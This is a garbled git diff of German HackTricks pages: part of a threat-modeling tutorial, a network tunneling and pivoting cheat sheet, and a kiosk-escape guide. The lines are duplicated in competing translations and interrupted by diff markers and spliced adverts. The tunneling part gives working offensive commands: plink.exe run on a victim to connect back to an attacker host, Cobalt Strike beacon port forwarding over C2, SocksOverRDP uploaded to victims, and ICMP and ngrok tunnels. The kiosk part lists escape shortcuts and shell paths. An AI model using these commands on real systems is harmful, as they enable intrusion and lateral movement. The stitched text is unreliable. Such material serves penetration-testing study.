Beachten Sie, dass zwischen Akteursbedrohungen und Prozessbedrohungen ein Unterschied besteht. Wenn Sie eine Bedrohung zu einem Akteur hinzufügen würden, könnten Sie nur "Spoofing" und "Repudiation" auswählen. In unserem Beispiel fügen wir jedoch eine Bedrohung zu einer Prozessentität hinzu, daher werden wir dies im Bedrohungserstellungsdialog sehen:
|
||||
Beachten Sie, dass es einen Unterschied zwischen Akteur-Bedrohungen und Prozess-Bedrohungen gibt. Wenn Sie eine Bedrohung zu einem Akteur hinzufügen, können Sie nur "Spoofing" und "Repudiation" auswählen. In unserem Beispiel fügen wir jedoch eine Bedrohung zu einer Prozesseinheit hinzu, sodass wir dies im Bedrohungserstellungsfeld sehen werden:
|
||||
|
||||
<figure><img src="../.gitbook/assets/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
6. Fertig
|
||||
|
||||
Jetzt sollte Ihr fertiges Modell ungefähr so aussehen. Und so erstellen Sie ein einfaches Bedrohungsmodell mit OWASP Threat Dragon.
|
||||
Jetzt sollte Ihr fertiges Modell so aussehen. Und so erstellen Sie ein einfaches Bedrohungsmodell mit OWASP Threat Dragon.
|
||||
|
||||
<figure><img src="../.gitbook/assets/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
|
||||
|
||||
Dies ist ein kostenloses Tool von Microsoft, das hilft, Bedrohungen in der Designphase von Softwareprojekten zu finden. Es verwendet die STRIDE-Methodik und ist besonders geeignet für diejenigen, die auf Microsofts Stack entwickeln.
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Ihr Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihr Tool **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
Dies ist ein kostenloses Tool von Microsoft, das hilft, Bedrohungen in der Entwurfsphase von Softwareprojekten zu finden. Es verwendet die STRIDE-Methodologie und ist besonders geeignet für diejenigen, die auf Microsofts Stack entwickeln.
|
||||
|
|
|
@ -10,19 +10,11 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Nmap-Tipp
|
||||
|
||||
{% hint style="warning" %}
|
||||
|
@ -55,7 +47,7 @@ ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
|
|||
```
|
||||
### Local Port2Port
|
||||
|
||||
Öffnen Sie neuen Port im SSH-Server --> Anderer Port
|
||||
Öffnen Sie einen neuen Port im SSH-Server --> Anderer Port
|
||||
```bash
|
||||
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
|
||||
```
|
||||
|
@ -175,9 +167,9 @@ rportfwd stop [bind port]
|
|||
```
|
||||
Zu beachten:
|
||||
|
||||
- Beacons Reverse-Port-Forward ist dafür ausgelegt, **Verkehr zum Team-Server zu tunneln, nicht um zwischen einzelnen Maschinen weiterzuleiten**.
|
||||
- Beacons Reverse-Port-Forwarding ist dafür ausgelegt, **Verkehr zum Team-Server zu tunneln, nicht um zwischen einzelnen Maschinen weiterzuleiten**.
|
||||
- Der Verkehr wird **innerhalb des C2-Verkehrs von Beacon getunnelt**, einschließlich P2P-Links.
|
||||
- **Admin-Rechte sind nicht erforderlich**, um Reverse-Port-Forwards auf hohen Ports zu erstellen.
|
||||
- **Admin-Rechte sind nicht erforderlich**, um Reverse-Port-Forwarding auf hohen Ports zu erstellen.
|
||||
|
||||
### rPort2Port lokal
|
||||
|
||||
|
@ -199,7 +191,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
|
|||
## Chisel
|
||||
|
||||
Sie können es von der Release-Seite von [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) herunterladen.\
|
||||
Sie müssen die **gleiche Version für Client und Server verwenden**.
|
||||
Sie müssen die **gleiche Version für Client und Server** verwenden.
|
||||
|
||||
### socks
|
||||
```bash
|
||||
|
@ -304,7 +296,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
|||
|
||||
Es ist wie eine Konsolen-PuTTY-Version (die Optionen sind sehr ähnlich zu einem ssh-Client).
|
||||
|
||||
Da dieses Binary auf dem Opfer ausgeführt wird und es ein ssh-Client ist, müssen wir unseren ssh-Dienst und Port öffnen, damit wir eine umgekehrte Verbindung haben können. Dann, um nur lokal zugänglichen Port auf einen Port in unserer Maschine weiterzuleiten:
|
||||
Da dieses Binary auf dem Opfer ausgeführt wird und es sich um einen ssh-Client handelt, müssen wir unseren ssh-Dienst und -Port öffnen, damit wir eine umgekehrte Verbindung herstellen können. Dann, um nur lokal zugängliche Ports auf einen Port in unserer Maschine weiterzuleiten:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
|
@ -328,7 +320,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||
Sie müssen **RDP-Zugriff über das System** haben.\
|
||||
Herunterladen:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Dieses Tool verwendet `Dynamic Virtual Channels` (`DVC`) aus der Remote Desktop Service-Funktion von Windows. DVC ist verantwortlich für **das Tunneln von Paketen über die RDP-Verbindung**.
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Dieses Tool verwendet `Dynamic Virtual Channels` (`DVC`) aus der Remote-Desktop-Service-Funktion von Windows. DVC ist verantwortlich für **das Tunneln von Paketen über die RDP-Verbindung**.
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
Laden Sie in Ihrem Client-Computer **`SocksOverRDP-Plugin.dll`** wie folgt:
|
||||
|
@ -336,9 +328,9 @@ Laden Sie in Ihrem Client-Computer **`SocksOverRDP-Plugin.dll`** wie folgt:
|
|||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Jetzt können wir uns über **RDP** mit dem **Opfer** verbinden, indem wir **`mstsc.exe`** verwenden, und wir sollten eine **Aufforderung** erhalten, die besagt, dass das **SocksOverRDP-Plugin aktiviert ist**, und es wird auf **127.0.0.1:1080** **lauschen**.
|
||||
Jetzt können wir uns über **RDP** mit dem **Opfer** verbinden, indem wir **`mstsc.exe`** verwenden, und wir sollten eine **Aufforderung** erhalten, die besagt, dass das **SocksOverRDP-Plugin aktiviert ist** und es auf **127.0.0.1:1080** **lauschen** wird.
|
||||
|
||||
**Verbinden** Sie sich über **RDP** und laden Sie die `SocksOverRDP-Server.exe`-Binärdatei auf dem Opfergerät hoch und führen Sie sie aus:
|
||||
**Verbinden** Sie sich über **RDP** und laden Sie die `SocksOverRDP-Server.exe`-Binärdatei auf dem Opfercomputer hoch und führen Sie sie aus:
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
|
@ -366,7 +358,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
|||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Es authentifiziert sich gegen einen Proxy und bindet einen Port lokal, der an den externen Dienst weitergeleitet wird, den Sie angeben. Dann können Sie das Tool Ihrer Wahl über diesen Port verwenden.\
|
||||
Zum Beispiel den weitergeleiteten Port 443
|
||||
Zum Beispiel, um Port 443 weiterzuleiten.
|
||||
```
|
||||
Username Alice
|
||||
Password P@ssw0rd
|
||||
|
@ -437,7 +429,7 @@ Proxychains intercepts `gethostbyname` libc call und tunnelt TCP-DNS-Anfragen du
|
|||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||
|
||||
Root wird in beiden Systemen benötigt, um TUN-Adapter zu erstellen und Daten zwischen ihnen mithilfe von ICMP-Echo-Anfragen zu tunneln.
|
||||
Root wird in beiden Systemen benötigt, um Tun-Adapter zu erstellen und Daten zwischen ihnen mithilfe von ICMP-Echo-Anfragen zu tunneln.
|
||||
```bash
|
||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||
|
@ -495,10 +487,10 @@ chmod a+x ./ngrok
|
|||
```
|
||||
#### Sniffing HTTP calls
|
||||
|
||||
*Nützlich für XSS, SSRF, SSTI ...*
|
||||
*Nützlich für XSS, SSRF, SSTI ...*
|
||||
Direkt von stdout oder in der HTTP-Schnittstelle [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
||||
|
||||
#### Tunneling internen HTTP-Dienst
|
||||
#### Tunneling internal HTTP service
|
||||
```bash
|
||||
./ngrok http localhost:8080 --host-header=rewrite
|
||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||
|
@ -527,25 +519,17 @@ addr: file:///tmp/httpbin/
|
|||
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,69 +1,59 @@
|
|||
# Entkommen aus KIOSKs
|
||||
# Escaping from KIOSKs
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS-Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) bei oder der [**Telegram-Gruppe**](https://t.me/peass) oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.
|
||||
|
||||
Sie können ihre Website besuchen und ihren Motor **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
---
|
||||
|
||||
## Überprüfen Sie das physische Gerät
|
||||
## Überprüfen des physischen Geräts
|
||||
|
||||
| Komponente | Aktion |
|
||||
| ------------- | -------------------------------------------------------------------- |
|
||||
| Ein-/Aus-Taste | Durch das Ein- und Ausschalten des Geräts kann der Startbildschirm angezeigt werden |
|
||||
| Netzkabel | Überprüfen Sie, ob das Gerät neu startet, wenn der Strom kurzzeitig unterbrochen wird |
|
||||
| USB-Anschlüsse | Verbinden Sie eine physische Tastatur mit mehr Tastenkombinationen |
|
||||
| Ethernet | Netzwerkscan oder Sniffing kann weitere Ausbeutung ermöglichen |
|
||||
| -------------- | -------------------------------------------------------------------- |
|
||||
| Netzschalter | Das Gerät aus- und wieder einschalten kann den Startbildschirm anzeigen |
|
||||
| Netzkabel | Überprüfen, ob das Gerät neu startet, wenn die Stromversorgung kurz unterbrochen wird |
|
||||
| USB-Ports | Physikalische Tastatur mit mehr Tastenkombinationen anschließen |
|
||||
| Ethernet | Netzwerk-Scan oder Sniffing kann weitere Ausnutzung ermöglichen |
|
||||
|
||||
|
||||
## Überprüfen Sie mögliche Aktionen innerhalb der GUI-Anwendung
|
||||
## Überprüfen möglicher Aktionen innerhalb der GUI-Anwendung
|
||||
|
||||
**Gängige Dialogfelder** sind Optionen zum **Speichern einer Datei**, **Öffnen einer Datei**, Auswahl einer Schriftart, einer Farbe... Die meisten von ihnen werden eine vollständige Explorer-Funktionalität anbieten. Das bedeutet, dass Sie auf Explorer-Funktionalitäten zugreifen können, wenn Sie auf diese Optionen zugreifen können:
|
||||
**Gemeinsame Dialoge** sind Optionen wie **Datei speichern**, **Datei öffnen**, Schriftart auswählen, Farbe... Die meisten von ihnen bieten **vollständige Explorer-Funktionalität**. Das bedeutet, dass du auf Explorer-Funktionalitäten zugreifen kannst, wenn du auf diese Optionen zugreifen kannst:
|
||||
|
||||
* Schließen/Schließen als
|
||||
* Schließen/Als schließen
|
||||
* Öffnen/Öffnen mit
|
||||
* Drucken
|
||||
* Exportieren/Importieren
|
||||
* Suchen
|
||||
* Scannen
|
||||
|
||||
Sie sollten überprüfen, ob Sie:
|
||||
Du solltest überprüfen, ob du:
|
||||
|
||||
* Dateien ändern oder neue erstellen können
|
||||
* Symbolische Links erstellen können
|
||||
* Zugriff auf eingeschränkte Bereiche erhalten können
|
||||
* Andere Apps ausführen können
|
||||
* Dateien ändern oder neue erstellen kannst
|
||||
* Symbolische Links erstellen kannst
|
||||
* Zugriff auf eingeschränkte Bereiche erhalten kannst
|
||||
* Andere Apps ausführen kannst
|
||||
|
||||
### Befehlsausführung
|
||||
|
||||
Vielleicht können Sie **mit der Option `Öffnen mit`** eine Art Shell öffnen/ausführen.
|
||||
Vielleicht kannst du **mit einer `Öffnen mit`** Option\*\* eine Art Shell öffnen/ausführen.
|
||||
|
||||
#### Windows
|
||||
|
||||
Zum Beispiel _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ finden Sie weitere Binärdateien, die zur Ausführung von Befehlen (und zur Durchführung unerwarteter Aktionen) verwendet werden können, hier: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||
Zum Beispiel _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ finde mehr Binärdateien, die verwendet werden können, um Befehle auszuführen (und unerwartete Aktionen durchzuführen) hier: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||
|
||||
#### \*NIX \_\_
|
||||
|
||||
|
@ -71,15 +61,15 @@ _bash, sh, zsh..._ Mehr hier: [https://gtfobins.github.io/](https://gtfobins.git
|
|||
|
||||
## Windows
|
||||
|
||||
### Umgehen von Pfadbeschränkungen
|
||||
### Umgehung von Pfadbeschränkungen
|
||||
|
||||
* **Umgebungsvariablen**: Es gibt viele Umgebungsvariablen, die auf einen bestimmten Pfad verweisen
|
||||
* **Umgebungsvariablen**: Es gibt viele Umgebungsvariablen, die auf einen bestimmten Pfad zeigen
|
||||
* **Andere Protokolle**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
||||
* **Symbolische Links**
|
||||
* **Verknüpfungen**: STRG+N (neue Sitzung öffnen), STRG+R (Befehle ausführen), STRG+UMSCHALT+ESC (Task-Manager), Windows+E (Explorer öffnen), STRG-B, STRG-I (Favoriten), STRG-H (Verlauf), STRG-L, STRG-O (Datei/Öffnen-Dialog), STRG-P (Druckdialog), STRG-S (Speichern unter)
|
||||
* Verstecktes Administrationsmenü: STRG-ALT-F8, STRG-ESC-F9
|
||||
* **Verknüpfungen**: CTRL+N (neue Sitzung öffnen), CTRL+R (Befehle ausführen), CTRL+SHIFT+ESC (Task-Manager), Windows+E (Explorer öffnen), CTRL-B, CTRL-I (Favoriten), CTRL-H (Verlauf), CTRL-L, CTRL-O (Datei/Öffnen Dialog), CTRL-P (Drucken Dialog), CTRL-S (Speichern unter)
|
||||
* Verstecktes Administrationsmenü: CTRL-ALT-F8, CTRL-ESC-F9
|
||||
* **Shell-URIs**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
|
||||
* **UNC-Pfade**: Pfade zum Verbinden mit freigegebenen Ordnern. Sie sollten versuchen, sich mit dem C$ des lokalen Computers zu verbinden ("\\\127.0.0.1\c$\Windows\System32")
|
||||
* **UNC-Pfade**: Pfade, um sich mit freigegebenen Ordnern zu verbinden. Du solltest versuchen, dich mit dem C$ des lokalen Geräts zu verbinden ("\\\127.0.0.1\c$\Windows\System32")
|
||||
* **Weitere UNC-Pfade:**
|
||||
|
||||
| UNC | UNC | UNC |
|
||||
|
@ -93,47 +83,66 @@ _bash, sh, zsh..._ Mehr hier: [https://gtfobins.github.io/](https://gtfobins.git
|
|||
| %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% |
|
||||
| %TMP% | %USERDOMAIN% | %USERNAME% |
|
||||
| %USERPROFILE% | %WINDIR% | |
|
||||
|
||||
### Lade deine Binärdateien herunter
|
||||
|
||||
Konsole: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
|
||||
Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
|
||||
Registrierungseditor: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
|
||||
|
||||
### Zugriff auf das Dateisystem über den Browser
|
||||
|
||||
| PFAD | PFAD | PFAD | PFAD |
|
||||
| ------------------- | ----------------- | ------------------ | ------------------- |
|
||||
| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows |
|
||||
| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ |
|
||||
| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ |
|
||||
| C:/windows | C:/windows/ | C:/windows\\ | C:\windows |
|
||||
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
|
||||
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
|
||||
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
|
||||
|
||||
### Tastenkombinationen
|
||||
|
||||
* Sticky Keys – Drücken Sie 5 Mal UMSCHALT
|
||||
* Mouse Keys – UMSCHALT+ALT+NUM-Taste
|
||||
* Hoher Kontrast – UMSCHALT+ALT+DRUCK
|
||||
* Umschalttasten – Halten Sie NUM-Taste 5 Sekunden lang gedrückt
|
||||
* Filtertasten – Halten Sie rechte UMSCHALT 12 Sekunden lang gedrückt
|
||||
* Sticky Keys – Drücke SHIFT 5 Mal
|
||||
* Mouse Keys – SHIFT+ALT+NUMLOCK
|
||||
* Hoher Kontrast – SHIFT+ALT+PRINTSCN
|
||||
* Toggle Keys – Halte NUMLOCK 5 Sekunden lang gedrückt
|
||||
* Filter Keys – Halte die rechte SHIFT-Taste 12 Sekunden lang gedrückt
|
||||
* WINDOWS+F1 – Windows-Suche
|
||||
* WINDOWS+D – Desktop anzeigen
|
||||
* WINDOWS+E – Windows Explorer starten
|
||||
* WINDOWS+R – Ausführen
|
||||
* WINDOWS+U – Bedienungshilfen-Center
|
||||
* WINDOWS+F – Suche
|
||||
* UMSCHALT+F10 – Kontextmenü
|
||||
* STRG+UMSCHALT+ESC – Task-Manager
|
||||
* STRG+ALT+ENTF – Startbildschirm bei neueren Windows-Versionen
|
||||
* F1 – Hilfe F3 – Suche
|
||||
* WINDOWS+U – Eingabehilfen-Center
|
||||
* WINDOWS+F – Suchen
|
||||
* SHIFT+F10 – Kontextmenü
|
||||
* CTRL+SHIFT+ESC – Task-Manager
|
||||
* CTRL+ALT+DEL – Splashscreen in neueren Windows-Versionen
|
||||
* F1 – Hilfe F3 – Suchen
|
||||
* F6 – Adressleiste
|
||||
* F11 – Vollbildmodus in Internet Explorer umschalten
|
||||
* STRG+H – Internet Explorer Verlauf
|
||||
* STRG+T – Internet Explorer – Neuer Tab
|
||||
* STRG+N – Internet Explorer – Neue Seite
|
||||
* STRG+O – Datei öffnen
|
||||
* STRG+S – Speichern STRG+N – Neuer RDP / Citrix
|
||||
* CTRL+H – Internet Explorer Verlauf
|
||||
* CTRL+T – Internet Explorer – Neuer Tab
|
||||
* CTRL+N – Internet Explorer – Neue Seite
|
||||
* CTRL+O – Datei öffnen
|
||||
* CTRL+S – Speichern CTRL+N – Neues RDP / Citrix
|
||||
|
||||
### Wischgesten
|
||||
|
||||
* Wischen Sie von der linken Seite nach rechts, um alle geöffneten Fenster zu sehen, minimieren Sie die KIOSK-App und greifen Sie direkt auf das gesamte Betriebssystem zu;
|
||||
* Wischen Sie von der rechten Seite nach links, um das Aktionscenter zu öffnen, minimieren Sie die KIOSK-App und greifen Sie direkt auf das gesamte Betriebssystem zu;
|
||||
* Wischen Sie vom oberen Rand, um die Titelleiste für eine App im Vollbildmodus sichtbar zu machen;
|
||||
* Wischen Sie von unten nach oben, um die Taskleiste in einer App im Vollbildmodus anzuzeigen.
|
||||
* Wische von der linken Seite nach rechts, um alle offenen Fenster zu sehen, die KIOSK-App zu minimieren und direkt auf das gesamte Betriebssystem zuzugreifen;
|
||||
* Wische von der rechten Seite nach links, um das Aktionscenter zu öffnen, die KIOSK-App zu minimieren und direkt auf das gesamte Betriebssystem zuzugreifen;
|
||||
* Wische von der oberen Kante, um die Titelleiste für eine im Vollbildmodus geöffnete App sichtbar zu machen;
|
||||
* Wische von unten nach oben, um die Taskleiste in einer Vollbild-App anzuzeigen.
|
||||
|
||||
### Internet Explorer Tricks
|
||||
|
||||
#### 'Bildsymbolleiste'
|
||||
#### 'Bildwerkzeugleiste'
|
||||
|
||||
Es handelt sich um eine Symbolleiste, die oben links auf dem Bild erscheint, wenn darauf geklickt wird. Sie können Speichern, Drucken, Mailto, "Meine Bilder" im Explorer öffnen. Der Kiosk muss den Internet Explorer verwenden.
|
||||
Es ist eine Werkzeugleiste, die oben links im Bild erscheint, wenn es angeklickt wird. Du kannst Speichern, Drucken, Mailto, "Meine Bilder" im Explorer öffnen. Der Kiosk muss Internet Explorer verwenden.
|
||||
|
||||
#### Shell-Protokoll
|
||||
|
||||
Geben Sie diese URLs ein, um eine Explorer-Ansicht zu erhalten:
|
||||
Gib diese URLs ein, um eine Explorer-Ansicht zu erhalten:
|
||||
|
||||
* `shell:Administrative Tools`
|
||||
* `shell:DocumentsLibrary`
|
||||
|
@ -154,12 +163,12 @@ Geben Sie diese URLs ein, um eine Explorer-Ansicht zu erhalten:
|
|||
* `Shell:Windows`
|
||||
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Systemsteuerung
|
||||
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Mein Computer
|
||||
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Meine Netzwerkumgebung
|
||||
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Meine Netzwerkplätze
|
||||
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
|
||||
|
||||
### Dateierweiterungen anzeigen
|
||||
### Dateiendungen anzeigen
|
||||
|
||||
Überprüfen Sie diese Seite für weitere Informationen: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
|
||||
